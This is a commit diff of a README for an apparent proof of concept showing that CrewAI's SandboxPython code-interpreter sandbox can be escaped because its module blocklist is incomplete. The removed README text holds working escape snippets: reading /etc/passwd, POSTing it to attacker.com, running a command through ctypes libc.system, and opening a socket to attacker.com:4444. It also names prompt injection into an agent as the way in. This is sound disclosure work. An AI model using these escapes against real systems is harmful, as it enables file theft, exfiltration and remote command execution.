PoC: SandboxPython escape via incomplete blocklist
Browse files- README.md +21 -109
- poc.py β poc_sandbox_escape.py +0 -0
README.md
CHANGED
|
@@ -1,120 +1,32 @@
|
|
| 1 |
-
# CrewAI SandboxPython Escape
|
| 2 |
|
| 3 |
-
|
| 4 |
-
CWE-693: Protection Mechanism Failure
|
| 5 |
-
|
| 6 |
-
## Severity
|
| 7 |
-
Critical
|
| 8 |
-
|
| 9 |
-
## Affected Component
|
| 10 |
-
- **Package:** `crewai-tools`
|
| 11 |
-
- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
|
| 12 |
-
- **Class:** `SandboxPython`
|
| 13 |
-
- **Version:** Latest (`main` branch, verified 2026-03-22)
|
| 14 |
-
|
| 15 |
-
## Description
|
| 16 |
-
|
| 17 |
-
The `CodeInterpreterTool` provides a `SandboxPython` class that restricts Python code execution by blocking 9 modules and 10 builtins. The restriction uses a **blocklist** approach β only explicitly listed items are denied.
|
| 18 |
|
| 19 |
-
The
|
| 20 |
|
| 21 |
-
|
| 22 |
-
`os`, `sys`, `subprocess`, `shutil`, `importlib`, `inspect`, `tempfile`, `sysconfig`, `builtins`
|
| 23 |
|
| 24 |
-
##
|
| 25 |
-
| Module | Capability |
|
| 26 |
-
|--------|-----------|
|
| 27 |
-
| `pathlib` | Arbitrary file read/write |
|
| 28 |
-
| `socket` | Raw network connections |
|
| 29 |
-
| `http.client` | HTTP requests to any host |
|
| 30 |
-
| `urllib.request` | HTTP requests |
|
| 31 |
-
| `ctypes` | Call any C function (`libc.system()`) |
|
| 32 |
-
| `io` | File I/O β bypasses blocked `open` builtin |
|
| 33 |
-
| `pickle` | Deserialization RCE |
|
| 34 |
-
| `multiprocessing` | Spawn processes |
|
| 35 |
-
| `threading` | Spawn threads |
|
| 36 |
-
| `asyncio` | Async execution |
|
| 37 |
-
| `signal` | Signal manipulation |
|
| 38 |
-
| `code` | Interactive interpreter |
|
| 39 |
-
| `xml.etree.ElementTree` | XML parsing |
|
| 40 |
-
| `zipfile` | Archive manipulation |
|
| 41 |
-
| `tarfile` | Archive extraction with path traversal |
|
| 42 |
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
### Escape 1: File Read via `pathlib`
|
| 48 |
-
```python
|
| 49 |
-
# Inside SandboxPython.exec():
|
| 50 |
-
data = __import__('pathlib').Path('/etc/passwd').read_text()
|
| 51 |
```
|
| 52 |
|
| 53 |
-
|
| 54 |
-
```python
|
| 55 |
-
# Inside SandboxPython.exec():
|
| 56 |
-
import http.client
|
| 57 |
-
conn = http.client.HTTPSConnection("attacker.com")
|
| 58 |
-
conn.request("POST", "/exfil", body=__import__('pathlib').Path('/etc/passwd').read_text())
|
| 59 |
-
conn.getresponse()
|
| 60 |
-
```
|
| 61 |
|
| 62 |
-
|
| 63 |
-
```
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
```
|
| 68 |
|
| 69 |
-
##
|
| 70 |
-
```python
|
| 71 |
-
# Inside SandboxPython.exec():
|
| 72 |
-
import ctypes
|
| 73 |
-
libc = ctypes.CDLL("libc.so.6")
|
| 74 |
-
libc.system(b"id > /tmp/pwned")
|
| 75 |
-
```
|
| 76 |
-
|
| 77 |
-
### Escape 5: Reverse Shell via `socket`
|
| 78 |
-
```python
|
| 79 |
-
# Inside SandboxPython.exec():
|
| 80 |
-
import socket
|
| 81 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 82 |
-
s.connect(("attacker.com", 4444))
|
| 83 |
-
```
|
| 84 |
|
| 85 |
-
|
| 86 |
-
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
The sandbox's existence β with its `BLOCKED_MODULES` set, `UNSAFE_BUILTINS` set, and `restricted_import` function β proves the intent was to restrict code execution. The restriction simply doesn't work.
|
| 90 |
-
|
| 91 |
-
## Impact
|
| 92 |
-
|
| 93 |
-
Any code that runs through `CodeInterpreterTool` when Docker execution is unavailable falls back to `SandboxPython.exec()`. An attacker who can influence the code input (via prompt injection into a CrewAI agent, or directly as a tool user) achieves:
|
| 94 |
-
|
| 95 |
-
1. **Arbitrary file read** β secrets, credentials, SSH keys, environment variables
|
| 96 |
-
2. **Network exfiltration** β send stolen data to attacker server
|
| 97 |
-
3. **Arbitrary command execution** β via `ctypes.CDLL("libc.so.6").system()`
|
| 98 |
-
4. **Process spawning** β via `multiprocessing`
|
| 99 |
-
5. **Full system compromise** β equivalent to unsandboxed `exec()`
|
| 100 |
-
|
| 101 |
-
## Suggested Fix
|
| 102 |
-
|
| 103 |
-
Switch to an **allowlist** approach:
|
| 104 |
-
|
| 105 |
-
```python
|
| 106 |
-
ALLOWED_MODULES = {
|
| 107 |
-
"math", "random", "statistics", "collections", "itertools",
|
| 108 |
-
"functools", "operator", "string", "re", "datetime", "json",
|
| 109 |
-
"csv", "hashlib", "base64", "decimal", "fractions",
|
| 110 |
-
}
|
| 111 |
-
|
| 112 |
-
@staticmethod
|
| 113 |
-
def restricted_import(name, *args, **kwargs):
|
| 114 |
-
top_level = name.split('.')[0]
|
| 115 |
-
if top_level not in SandboxPython.ALLOWED_MODULES:
|
| 116 |
-
raise ImportError(f"Importing '{name}' is not allowed in sandbox.")
|
| 117 |
-
return __import__(name, *args, **kwargs)
|
| 118 |
-
```
|
| 119 |
|
| 120 |
-
|
|
|
|
|
|
| 1 |
+
# CrewAI SandboxPython Escape PoC
|
| 2 |
|
| 3 |
+
Proof of concept demonstrating that `SandboxPython` in CrewAI's `CodeInterpreterTool` has an incomplete module blocklist, allowing full sandbox escape.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4 |
|
| 5 |
+
## The Bug
|
| 6 |
|
| 7 |
+
`SandboxPython` blocks 9 modules (`os`, `sys`, `subprocess`, etc.) but leaves **15 dangerous modules** importable: `pathlib`, `socket`, `http.client`, `ctypes`, `io`, `pickle`, `multiprocessing`, `threading`, `asyncio`, `urllib.request`, `signal`, `code`, `xml.etree`, `zipfile`, `tarfile`.
|
|
|
|
| 8 |
|
| 9 |
+
## Running the PoC
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
|
| 11 |
+
```bash
|
| 12 |
+
pip install crewai-tools
|
| 13 |
+
python poc_sandbox_escape.py
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 14 |
```
|
| 15 |
|
| 16 |
+
The PoC reproduces the exact `SandboxPython` class from source, verifies blocked modules are denied, then demonstrates 5 independent escapes:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 17 |
|
| 18 |
+
1. **File read** via `pathlib` β reads `/etc/hostname`
|
| 19 |
+
2. **DNS resolution** via `socket` β resolves `example.com`
|
| 20 |
+
3. **HTTP request** via `http.client` β GETs `httpbin.org/ip`
|
| 21 |
+
4. **File I/O** via `io.open` β bypasses blocked `open` builtin
|
| 22 |
+
5. **C calls** via `ctypes` β imports `ctypes.CDLL`
|
|
|
|
| 23 |
|
| 24 |
+
## Affected
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
|
| 26 |
+
- **Package:** `crewai-tools`
|
| 27 |
+
- **File:** `crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py`
|
| 28 |
+
- **Class:** `SandboxPython`
|
| 29 |
+
- **Root cause:** Blocklist (9 modules) instead of allowlist
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 30 |
|
| 31 |
+
## CWE
|
| 32 |
+
CWE-693: Protection Mechanism Failure
|
poc.py β poc_sandbox_escape.py
RENAMED
|
File without changes
|